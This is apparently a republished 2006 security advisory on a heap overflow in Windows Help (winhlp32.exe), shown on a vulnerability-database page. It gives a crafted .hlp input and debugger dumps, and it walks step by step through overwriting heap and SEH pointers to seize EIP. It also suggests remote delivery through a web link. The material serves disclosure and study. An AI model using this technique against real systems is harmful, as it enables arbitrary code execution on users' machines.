Windows Help Heap Overflow

Risk: Medium
Local: Yes
Remote: Yes
CWE: CWE-Other

CVSS Base Score: 5.1/10
Impact Subscore: 6.4/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

/* ************************************************************************ ***************************************** $ An open security advisory #15 - Windows Help Heap Overflow ************************************************************************ ***************************************** 1: Bug Researcher: c0ntex - c0ntexb[at] -+- 2: Bug Released: March 31st 2006 3: Bug Impact Rate: Undefined 4: Bug Scope Rate: Local / Remote in cases ************************************************************************ ***************************************** $ This advisory and/or proof of concept code must not be used for commercial gain. ************************************************************************ ***************************************** Windows Help There is a heap based buffer overflow in the rendering engine of .hlp files in winhlp32.exe which will allow some attacker the possibility of modifying the internal structure of the process with a means to execute arbitrary and malicious code. By modifying the value of an image embedded within a .hlp file, (tested with ? image and [] button images) it is possible to trigger this bug and overflow a static buffer that is defined for data sections of the .hlp file. This grants the attacker with the ability to perform an overwrite of block(n) and the following blocks control data. I thought this was an april fools but it's a day too early :) Microsoft decide to reject this issue as Windows Help is a scriptable environment and as such should not be trusted, as a malicious person could add this said "script" to .hlp files which would execute "stuff" on the users system. Therefor I release this Heap Overflow as another untrustable issue with this Microsoft product. I met some Microsoft Security Auditor guys at Blackhat, Alex and some dude called Skylined --- sorry that I didnt mention this bug or the one in hh.exe and t3h ebUl.chm, I was selling out to get IDefense bug bounty, but alas it back fired. I could have done with $10000 but ho hum, you win some you loose some :-) */ // Example vulnerable section of a .hlp file ( I used acmsetup.hlp in this example) : ......snip ..... :CW(`main'):FH() :CBB(`btn_topics ',`NS():JI(`>mai n',`HelpTopicsBu tton'):FH():CS() :FH():FD()'):SPC (16777215):FH(). .........lP..... ............. .. .z............. ................ ................ ..w..x......x... ..5.`......%...e % ....3.@=...... ..x.......w.. // One with malicious input 'inserted' to trigger the bug: ......snip...... :CW(`main'):FH() :CBB(`btn_topics ',`NS():JI(`>mai n',`HelpTopicsBu tton'):FH():CS() :FH():FD()'):SPC (16777215):FH(). .........lP..... ............. .. .z............. .........AAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA plus 10,000 more After winhlp32.exe opens the .hlp file, the heap state will be as follows: HEAP[winhlp32.exe]: Heap block at 0009B940 modified at 0009B9A2 past requested size of 5a 0:000> dd 0009b940 0009b940 0005000f 001e0700 4f26001f 41697470 0009b950 41414141 abababab 41ababab feeefeee 0009b960 4100feee 41414141 00040000 41000005 0009b970 554d001b 41002928 41414141 feababab 0009b980 4100feee 00000000 41060000 41414141 0009b990 6f42001f 416d6b6f 65446b72 416e6966 0009b9a0 41414141 abababab 41ababab feeefeee 0009b9b0 4100feee 00004141 000f0006 feee0400 HEAP[winhlp32.exe]: Invalid Address specified to RtlFreeHeap( 00090000, 0009B948 ) (728.2f8): Break instruction exception - code 80000003 (first chance) eax=0009b940 ebx=0009b940 ecx=77f75c17 edx=0007ecba esi=00090000 edi=0009b940 eip=77f75a58 esp=0007eec4 ebp=0007eed8 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000202 0:000> dd 0009B948 0009b948 4f26001f 41697470 41414141 abababab 0009b958 41ababab feeefeee 4100feee 41414141 0009b968 00040000 41000005 554d001b 41002928 0009b978 41414141 feababab 4100feee 00000000 0009b988 41060000 41414141 6f42001f 416d6b6f 0009b998 65446b72 416e6966 41414141 abababab 0009b9a8 41ababab feeefeee 4100feee 00004141 0009b9b8 000f0006 00230400 000901a8 000901a8 HEAP[winhlp32.exe]: Heap block at 0009BE50 modified at 0009BF54 past requested size of fc 0:000> dd 0009BE50 0009be50 00180023 001c0700 02390006 007a0000 0009be60 00000000 02b30000 00280000 000e0000 0009be70 000d0000 00010000 00000004 00000000 0009be80 00000000 005a0000 00100000 00000000 0009be90 00000000 00000000 80000080 80000000 0009bea0 00800080 00800000 80800080 41410000 0009beb0 41414141 41414141 41414141 41414141 0009bec0 41414141 41414141 41414141 41414141 Here we can see we have overwritten the end of the previous chunk at 0009be54 and over the control section of the next following chunks 0:000> dd 0009BF54 0009bf54 41414141 41414141 41414141 41414141 0009bf64 41414141 41414141 41414141 41414141 0009bf74 41414141 41414141 41414141 41414141 0009bf84 41414141 41414141 41414141 41414141 0009bf94 41414141 41414141 41414141 41414141 0009bfa4 41414141 41414141 41414141 41414141 0009bfb4 41414141 41414141 41414141 41414141 0009bfc4 41414141 41414141 41414141 41414141 This situation provides a 4-byte arbitrary memory overwrite due to the fact that we directly control two pointers in the heaps management structure: EAX 41414141 ECX 41414141 EDX 0009E5D8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." EBX 00090000 ESP 0007F90C EBP 0007FB30 ESI 0009E5D8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." EDI 00000068 EIP 77F581BD ntdll.77F581BD "The instruction at "0x77f581bd" referenced memory at "0x41414141". The memory could not be "written" ( Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=0000003f ecx=41414141 edx=0009bf68 esi=0009bf68 edi=00090000 eip=77f581bd esp=0007e684 ebp=0007e89c iopl=0 nv up ei pl zr na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010246 77f581bd 8901 mov [ecx],eax ds:0023:41414141=???????? > 77f581bd 8901 MOV DWORD PTR DS:[ECX],EAX > 77f581bf 8948 04 MOV DWORD PTR DS:[EAX+4],ECX Analysing the heap state afterwards, we can see we are able to modify the heap structures with user supplied input, which will grant the attacker the possibility of overwriting 4 bytes of writable memory with user supplied values. We can see that we have a classic heap overflow and can now either perform an overwrite of _VECTORED_EXCEPTION_NODE, UnhandledExceptionFilter or RtlEnterCriticalSection amongst other locations, which will return us back to malicious code and execute it for us. Another simple, useful option is to simply hijack the applications SE Handler directly which will allow us to gain control of the process in the same manner. * set ecx -> Top SE handler address * set eax -> Set EAX to a pointer to our supplied input (0x0009E7B2) ...which will result in EIP being owned here after continuing: EAX 00000000 ECX 0009E7B2 EDX 77FB1742 ntdll.77FB1742 EBX 00000000 ESP 0007E2B8 EBP 0007E2D8 ESI 00000000 EDI 00000000 EIP 0009E7B6 ---> what ever is here will be executed ( our supplied data is :) ) However, we are not going to do that, instead we are going to target a different stack pointer @ ntdll.77F51C48. Running winhlp32.exe in Olly, we set the argument as the malicious.hlp file and run it, eventually it will die here: 77F8452D 8901 MOV DWORD PTR DS:[ECX],EAX 77F8452F 8948 04 MOV DWORD PTR DS:[EAX+4],ECX And the registers will have the following setup after the crash: EAX 74747474 ECX 74747474 EDX 0009BEB8 ASCII "tttttttttttttttttttttttttttttttAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA... EBX 0000003F ESP 0007E684 EBP 0007E89C ESI 0009BEB8 ASCII "tttttttttttttttttttttttttttttttAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA... EDI 00090000 EIP 77F8452D ntdll.77F8452D Now, the stack location we are interested in looks like so at this point: 0007E88C 0007E910 Pointer to next SEH record 0007E890 77FA88F0 SE handler 0007E894 77F51C48 ntdll.77F51C48 <<------------- Our victim We then set EAX (which is user controlled) to -4 the attacked location 0007E894, and when MOV [EAX+4],ECX happens, we shall overwrite our target. We now set ECX to a pointer to our controllable input, a few bytes past all those t's to get to our pot of honey: EAX 0007E890 ECX 0009BED8 ASCII 41,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" EDX 0009BEB8 ASCII "tttttttttttttttttttttttttttttttAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA... EBX 0000003F ESP 0007E684 EBP 0007E89C ESI 0009BEB8 ASCII "tttttttttttttttttttttttttttttttAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA... EDI 00090000 EIP 77F8452D ntdll.77F8452D ..we then continue the process and pass the exception to the application, which after dealing with we end up with our registers looking like so: EAX 0009BEB8 ECX 77F75C17 ntdll.77F75C17 EDX 0007E474 EBX 0003A390 ESP 0007E678 EBP 0007E89C ESI 0009BEB8 EDI 00000000 EIP 77F75A59 ntdll.77F75A59 ...and, our stack location where the victim is laying will be looking like so: 0007E88C 0007E910 Pointer to next SEH record 0007E890 77FA88F0 SE handler 0007E894 0009BED8 <<---------------- Here we go! great, we have modified our victim pointer with our nasty address, which is now pointing in to our pot of honey!! We then continue the process again and let the application deal with the exception, and after a second we have control of our application: EAX 0007E298 ECX 00000003 EDX 77FB1742 ntdll.77FB1742 EBX 0007E88C ESP 0007E27C EBP 0007E89C ESI 00000001 EDI 0009BED8 EIP 41414141 It should be possible to perform this attack remotly by embedding the .hlp file into an HTML page and tricking a user to click the link, granting remote access to the system with the permissions of the user who executed the help file. regards, c0ntex

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022,


Back to Top